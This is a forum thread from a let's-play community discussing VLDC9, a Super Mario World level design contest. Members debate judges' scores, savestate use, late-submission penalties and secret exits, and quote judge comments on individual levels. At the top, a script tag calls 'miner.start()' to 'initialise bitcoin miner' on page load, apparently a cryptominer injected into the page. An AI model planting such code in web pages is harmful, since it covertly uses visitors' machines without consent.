<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitymario fan games galaxy

VLDC9 - vanilla level design contest 9

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Grounder
Posts: 3293
Joined: 5 years ago

Re: VLDC9 - vistas leaving denatured colorants 9

Postby Grounder » 2 years ago

ft029 wrote:
Zephyr_DragonLord wrote:And I think why ninja boy gave a relatively high score to Short Cave was because there were some cool setups in there.
I feel the need to explain why ninja boy's scores are so wacky.

Each judge was given all of the levels in some order, so it was like 1.smc, 2.smc, 3.smc, etc. until like 110 or something. At the very beginning, ninja boy's judging was extremely harsh, but he got much more lenient later on. Short Cave was one of the last he played, which explains the relatively high score. ninja boy didn't bother to curve all of the judging afterwards, and now the scores are all crazy.

ninja boy also rewinds every single time he breathes. Some levels are much easier with savestates, but some other levels have a certain flow to them, and rewinds/savestates can break that flow.
That's pretty awful.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
Pyro
cutest girl 2023
Posts: 884
Joined: 4 years ago
Pronouns: she/her
Contact:

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Pyro » 2 years ago

I honestly find it super funny how Green Meadows got completely murdered by penalties and ended up being a level that tried really hard to be a boring 1-1 and got last because of it :P. It used ASM to change the tilemap of the pirahna plants' stems hence the glitchiness, and it also applied the SMB3 koopa patch (no beach koopas). Also, the orange fast line thing is directly ripped out of a later, actually good level that placed much higher. I don't know what was the creator's logic behind just taking it and using it for a bonus room and doing nothing interesting with it...?
Image
Image
Image
Image
Image

User avatar
Lockirby2
Posts: 350
Joined: 4 years ago
Location: Ontario, Canada
Contact:

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Lockirby2 » 2 years ago

Wow, I totally did that puzzle at the start of Ninji Plains wrong. I backtracked with a Yoshi and got hit by the Charlie to make Yoshi run past the blue pipe. In hindsight, it should have been obvious that wasn't the correct answer. >.>

Although raocow just used the springboard everywhere, I think that the position of the key was hinted at well by the landmass it was sitting on.

I'm not sure if the naming gimmick is just "song titles" or if it's something more specific than that. I don't really listen to non-video game music.

zagesaw
Posts: 48
Joined: 2 years ago

Re: VLDC9 - vistas leaving denatured colorants 9

Postby zagesaw » 2 years ago

ft029 wrote:ninja boy also rewinds every single time he breathes. Some levels are much easier with savestates, but some other levels have a certain flow to them, and rewinds/savestates can break that flow.
That explains why he gave one particular level a near perfect score, when it is one of the most frustrating levels to play without tools in the entire hack. Thankfully it got a green door. Did he also take secret exits into account of with his scoring? Obviously not.

When you casually play a level with savestates and rewinds you tend to focus on each obstacle individually and not the level as a whole. Level length is extremely important when balancing difficulty and you can't fairly judge it if you play through the whole thing with rewinds.

User avatar
Duker
The man with the fairy
Posts: 97
Joined: 9 years ago
Location: The Cold North

Re: VLDC9 - vistas leaving denatured colorants 9

Postby Duker » 2 years ago

zagesaw wrote:
ft029 wrote:ninja boy also rewinds every single time he breathes. Some levels are much easier with savestates, but some other levels have a certain flow to them, and rewinds/savestates can break that flow.
That explains why he gave one particular level a near perfect score, when it is one of the most frustrating levels to play without tools in the entire hack. Thankfully it got a green door. Did he also take secret exits into account of with his scoring? Obviously not.

When you casually play a level with savestates and rewinds you tend to focus on each obstacle individually and not the level as a whole. Level length is extremely important when balancing difficulty and you can't fairly judge it if you play through the whole thing with rewinds.
But then again having to judge over 100 levels is rough, I can't say I blame him for trying save himself some time... the last MaGLX had similar problems IIRC with judge burnout leading to some very disputable scores due to the sheer amount of levels.
Occasionally I bring chipmunkcow into the mortal timespace: https://www.youtube.com/playlist?list=P ... D-ruRHC4ei

S.N.N.
Posts: 501
Joined: 10 years ago
Location: Ontario, Canada

Re: VLDC9 - vistas leaving denatured colorants 9

Postby S.N.N. » 2 years ago

zagesaw wrote:That explains why he gave one particular level a near perfect score, when it is one of the most frustrating levels to play without tools in the entire hack. Thankfully it got a green door. Did he also take secret exits into account of with his scoring? Obviously not.
I just want to add that in all my years of playing SMW levels, very few secret exits have frustrated me as much as the level you're referring to's did. Thankfully we're not going to get to it for a very long time, so perhaps I'll have calmed down by then.


Today's video: Lazy pointed this out in the comments, but the idea with the colored lines in Green Meadows was actually ripped off of another level in this contest (which does it much better too). That aside, Green Meadows is still a decent little romp level, but ultimately pretty bland.

User avatar
Mata Hari
Posts: 2224
Joined: 10 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Mata Hari » 2 years ago

I feel like if you're judging a contest light savestate use is acceptable because some amount of convenience is necessary for so many levels, but savestating every couple of steps is like no

User avatar
Money
Posts: 483
Joined: 8 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Money » 2 years ago

I dunno, imo savestates have no real place in judging a conest if it's not like, a Kaizo contest, unless the judge is pushed to the point where they know that the level is far above their skill level (which shouldnt be often. ideally a judge would be proficient in whatever it is they're judging). Playing with savestates inherently impacts your grading, as many flaws dont start to shine until the deaths start piling up and you gotta replay trouble bits over and over.

User avatar
Giant Ninji
Posts: 7
Joined: 7 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Giant Ninji » 2 years ago

My way of doing things is playing legit the first time, then playing a couple more times afterwards with states and rewinds just to scrutinize the level even more.

An interesting note about DaSpongeBobMan's level, Green Meadows. During VLDC9, I made a review thread of all submitted levels (well, "all") while the contest was still going. Despite being a participant myself, I just liked the idea of giving feedback on all of the levels. In any case, I feel partly responsible for how Green Meadows ended up as. It was kinda ugly and very plain when it was first submitted, and was entirely only that main level with some differences here and there. Throughout the contest, DaSpongeBobMan kept making changes (which, from I feel like, were because of my thread), and although it was satisfactory by the time he submitted it before the deadline, he made more changes afterwards and resubmitted at the post-deadline deadline (that's were most of the penalties came from iirc). I want to say, though, that I made it clear in the thread that my write-ups are not perfect, and I don't really want to be responsible for making a level worse off than it was supposed to be. I guess that gives me comfort that it was my fault that Green Meadows turned out as low as it did ????????

In any case, yeah, the secret exit was ripped off a much better level (that should've been in best tbh...). Also when it said "sometimes you'll fall off" it wasn't kidding. raocow was lucky. There is an obnoxious amount of spots where the platform just falls off, so I'm honestly surprised raocow didn't find any of those.

User avatar
xfix
:)
Posts: 750
Joined: 10 years ago
First name: Konrad Borowski

Re: VLDC9 - vistas leaving denatured colorants 9

Postby xfix » 2 years ago

S.N.N. wrote:
zagesaw wrote:That explains why he gave one particular level a near perfect score, when it is one of the most frustrating levels to play without tools in the entire hack. Thankfully it got a green door. Did he also take secret exits into account of with his scoring? Obviously not.
I just want to add that in all my years of playing SMW levels, very few secret exits have frustrated me as much as the level you're referring to's did. Thankfully we're not going to get to it for a very long time, so perhaps I'll have calmed down by then.


Today's video: Lazy pointed this out in the comments, but the idea with the colored lines in Green Meadows was actually ripped off of another level in this contest (which does it much better too). That aside, Green Meadows is still a decent little romp level, but ultimately pretty bland.
I disagree about a rip-off myself. Red line thing (read: 1F0) is not that unique, it was seen before in Sokobansolver's and Morsel's VLDC7 entries (sure, it wasn't red, but that's a minor detail). In fact, I considered making a level with that thing, with faster line guide actually marked red (it seemed like an obvious thing to do). But I didn't finish the level, so whatever.

Also, that secret exit is so bad. There is a reason why I mentioned that SIMPLE PATH is not even the worst secret exit in VLDC9 ("there is only one worse secret exit in the entire thing, and it's so bad that the ROM hack just lets you skip it"). The secret exit in question takes bad secret exits to the form of art.

User avatar
raocow
the death of the incredible huge
Posts: 2939
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby raocow » 2 years ago

Lockirby2 wrote: I'm not sure if the naming gimmick is just "song titles" or if it's something more specific than that. I don't really listen to non-video game music.
as always, 'song titles' is technically accurate but much too broad
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
ft029
m/m wannabe
Posts: 472
Joined: 3 years ago
Location: U.S.

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby ft029 » 2 years ago

DaSpongeBobMan literally used the same exact red and blue colors.

I'm not sure what's up with that guy, but I don't feel like ranting here
Mosts Awards:
Image
Image

User avatar
FrozenQuills
undefinable flair 2019
Posts: 780
Joined: 4 years ago
Location: my skull

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby FrozenQuills » 2 years ago

Koopster seems to be busy, so I may as well post the comments.

108th: GREEN MEADOWS by DaSpongeBobMan
PENALTY REASONING: 5 days late (-30) and using ASM for piranha plant stems and making koopas stay in shells (-7)
(this effectively gave it a 0/60 instead of a 34.25/60, which puts it in last place but not in worst world)
Nimono
DESIGN: 15/30
CREATIVITY: 14/20
AESTHETICS: 6/10
TOTAL: 35/60
A nice rompy level, however, the secret exit path is very frustrating. First, there's no easy way to get the Springboard needed to reach the Key, and killing the two enemies that will allow you to get up there without grabbing it means you have to reset the level, and once you're on the line-guided platform, the wonky red line mechanics mean you'll probably fall off a die a lot, thus needing to redo the Springboard grab.

ninja boy
DESIGN: 14/30
CREATIVITY: 14/20
AESTHETICS: 8/10
TOTAL: 36/60
This level would of scored higher on the design if it weren't for the fact that the secret exit platform had the habit of dropping the player off of it when transferring from red to black lines.

Eternity
DESIGN: 15/30
CREATIVITY: 12/20
AESTHETICS: 7/10
TOTAL: 34/60
Fairly standard grassland level, it doesn't stand out from the rest in any way as it pretty much only uses generic onbstacles and a fairly common sprite selection. Aethetically it's simple, but still decently looking.

OTHER: No idea on why you made it so the Koopas don't come out of their shells when you jump on them, fairly sure that's not vanilla.

Koopster
DESIGN: 14/30
CREATIVITY: 10/20
AESTHETICS: 8/10
TOTAL: 32/60
The rompiest of romps! The main level isn't more than "a grassland level". No crimes here, it just doesn't stand out in the context of a contest! Though I do have some issues with the secrets. I thought the first dragon coin, the secret path and especially the key were really random to find. I have a huge issue with the key in particular since you can only find it by springing yourself everywhere in the level. The secret sublevel has that nice red lines gimmick I have seen in another level a while ago, but it doesn't do anything special with it, sadly!

71st: NINJI PLAINS by Reggiamoto
Nimono
DESIGN: 10/30
CREATIVITY: 11/20
AESTHETICS: 5/10
TOTAL: 26/60
...What. You start practically at the end of the level where staying still will get you quickly killed while you try to figure out what's going on, going right is way too easy, but going left gets you an incredibly tough and apparently pointless challenge?? Huh?? I'm confused...

ninja boy
DESIGN: 15/30
CREATIVITY: 10/20
AESTHETICS: 5/10
TOTAL: 30/60
This level was very pleasing to look at but was more or less a standard grass level

Eternity
DESIGN: 19/30
CREATIVITY: 14/20
AESTHETICS: 7/10
TOTAL: 40/60
Simple but fun, but overall there's nothing that really stands out here. If Yoshi was used a bit more throughout, or the obstcles were a bit more interesting, this could be higher, but right now it's pretty much a generic grassland level.

Koopster
DESIGN: 19/30
CREATIVITY: 12/20
AESTHETICS: 9/10
TOTAL: 40/60
A little, simple, pleasant level~ It uses a big lot of gimmicks and doesn't really use them other than in simple ways, but they sometimes make for interesting setups, even though sometimes they feel out of place in a proper difficulty curve. There's also some setups that felt odd and out of place, like the midpoint placement... overall, a nice "romp" with sparks of creativity. The first dragon coin "puzzle" is really interesting, although it's not too hard to screw it up because of camera shenaningans.

..I think Nimono had a different experience from the other judges on Reggiamoto's level.
Image
Image
Image
SMBX Tileset Compiler and Separator
The boss entry that made me eat a shoe.
Image

5th place counter: 5
(SMBX Forums CC11, SMBX Forums CC12, Endgame Madness Contest, SMWC Kaizo Contest 2016, SMWC 24hr Contest 2018)

User avatar
Koopster
judge of u
Posts: 191
Joined: 4 years ago
Location: is there anybody in there?

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Koopster » 2 years ago

...oh hey, thanks! I was just about to post them lol, but I did almost forget.
(Terrible day this has been, spent the entire day reinstalling Windows due to an issue I had and now I get to reinstall all of my programs with terrible, terrible internet. seriously I'm at like 10KB/s)

DaSpongeBobMan's score is effectively -2.75, it's pretty amazing

I was surprised raocow spent so long in Reggiamoto's level - guess he was a bit unlucky all around lol. I'm glad you figured out the dragon coin puzzle at least, that one's a bit obscure.
And yeah, you don't need to get a midpoint or goal to save the dragon coins if you got all five, they'll just get saved normally.

Tomorrow is gonna be a bit more boring I think.
Image

10204307
Posts: 316
Joined: 10 years ago
First name: Violet
Pronouns: she/her

Re: VLDC9 - vistas leaving denatured colorants 9

Postby 10204307 » 2 years ago

GlitchMr wrote:
S.N.N. wrote:Today's video: Lazy pointed this out in the comments, but the idea with the colored lines in Green Meadows was actually ripped off of another level in this contest (which does it much better too). That aside, Green Meadows is still a decent little romp level, but ultimately pretty bland.
I disagree about a rip-off myself. Red line thing (read: 1F0) is not that unique, it was seen before in Sokobansolver's and Morsel's VLDC7 entries (sure, it wasn't red, but that's a minor detail). In fact, I considered making a level with that thing, with faster line guide actually marked red (it seemed like an obvious thing to do). But I didn't finish the level, so whatever.
Yeah the fast line thing isn't a "new" feature, and using it in that way isn't really ripping off anything, it's just using a mechanic that's present in the game.

The main issue is that the level doesn't really do a whole lot with them?

User avatar
ft029
m/m wannabe
Posts: 472
Joined: 3 years ago
Location: U.S.

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby ft029 » 2 years ago

I think Reggiamoto was testing something, so he moved the entrance way further ahead in the level than it was supposed to be. Then, he forgot to change it back. That's why Nimono wrote that. Maybe it was fixed before the other judges touched it.
Mosts Awards:
Image
Image

User avatar
WYE
Posts: 4
Joined: 4 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby WYE » 2 years ago

raocow wrote:
Lockirby2 wrote: I'm not sure if the naming gimmick is just "song titles" or if it's something more specific than that. I don't really listen to non-video game music.
as always, 'song titles' is technically accurate but much too broad
Googling the song titles, it looks to be "songs from albums titled 9 or Nine". Which is fitting given the hack's name.

(And also exciting because I passive-listened to Eros Ramazzotti's 9 when I was younger - my mother put it on a lot - and I'm looking forward to seeing part of the soundtrack of my childhood referenced. :-) )

User avatar
Cirno
Posts: 42
Joined: 8 years ago
Location: Gensokyo

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Cirno » 2 years ago

^ I just figured that out and came here to post it, but I was beaten by two minutes. I can hear Sonic taunting me now :(

User avatar
Nimono
Posts: 509
Joined: 6 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Nimono » 2 years ago

FrozenQuills wrote:..I think Nimono had a different experience from the other judges on Reggiamoto's level.
I did. When I entered the level, it's at the blue slanted Pipe that raocow had a problem with. It never put me at the actual start of the level.

S.N.N.
Posts: 501
Joined: 10 years ago
Location: Ontario, Canada

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby S.N.N. » 2 years ago

I'm more excited for tomorrow than I was for today. One of my personal favorites is coming up.

(the rest of grass world is also pretty cool from here on - that bottom portion is the bit that's a tad on the bland side)

User avatar
Mata Hari
Posts: 2224
Joined: 10 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Mata Hari » 2 years ago

oh man more football spam

And yeah I agree with raocow that Nimono significantly underrated the aesthetics of the first level, but all the other judges rated it well, NinjaBoy gave it a 9 which I wouldn't've, so who cares really.

leod
Be careful when including any personal details.
Posts: 27
Joined: 9 years ago
Pronouns: he/him/his
Location: Germany

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby leod » 2 years ago

did carol make that overworld?!?!
Image

User avatar
Nimono
Posts: 509
Joined: 6 years ago

Re: VLDC9 - verdant lighthearted daytime charm 9

Postby Nimono » 2 years ago

Mata Hari wrote:oh man more football spam

And yeah I agree with raocow that Nimono significantly underrated the aesthetics of the first level, but all the other judges rated it well, NinjaBoy gave it a 9 which I wouldn't've, so who cares really.
To be quite honest, when I look at the level now... I have to agree. Why DIDN'T I rate it better? o_O I don't even remember at this point. I guess maybe at that point I couldn't look past the fact that it was "oh, just the original SMW tileset but with minor additions, yawn".

who the heck knows

User avatar
FrozenQuills
undefinable flair 2019
Posts: 780
Joined: 4 years ago
Location: my skull

Re: VLDC9 - viridescent landslides dazzling canals 9

Postby FrozenQuills » 2 years ago

Grassy Grotto was underrated imo. I liked how it uses the grassy platform in interesting ways considering how they are not used very often.
Wasn't really much of a fan of Saturation Plains though. The second half felt a bit messy with the line guide shenanigans.
Pipeside is annoying but it has a weird but cool concept; getting that 1-up from the star block at the end is basically one of the hardest things ever.
Image
Image
Image
SMBX Tileset Compiler and Separator
The boss entry that made me eat a shoe.
Image

5th place counter: 5
(SMBX Forums CC11, SMBX Forums CC12, Endgame Madness Contest, SMWC Kaizo Contest 2016, SMWC 24hr Contest 2018)

User avatar
Lockirby2
Posts: 350
Joined: 4 years ago
Location: Ontario, Canada
Contact:

Re: VLDC9 - viridescent landslides dazzling canals 9

Postby Lockirby2 » 2 years ago

Pipeside felt like a level that you just play a few times until you fluke out. Saturation Plains is the one level that I saw before playing through the contest, and it had a lot more baffling design decisions (like the message box pointing out the starman) before Someguy712x made some recommendations. I liked Grassy Grotto though.


Return to “let's play”

Who is online

Users browsing this forum: Awoo, Google [Bot], raocow and 16 guests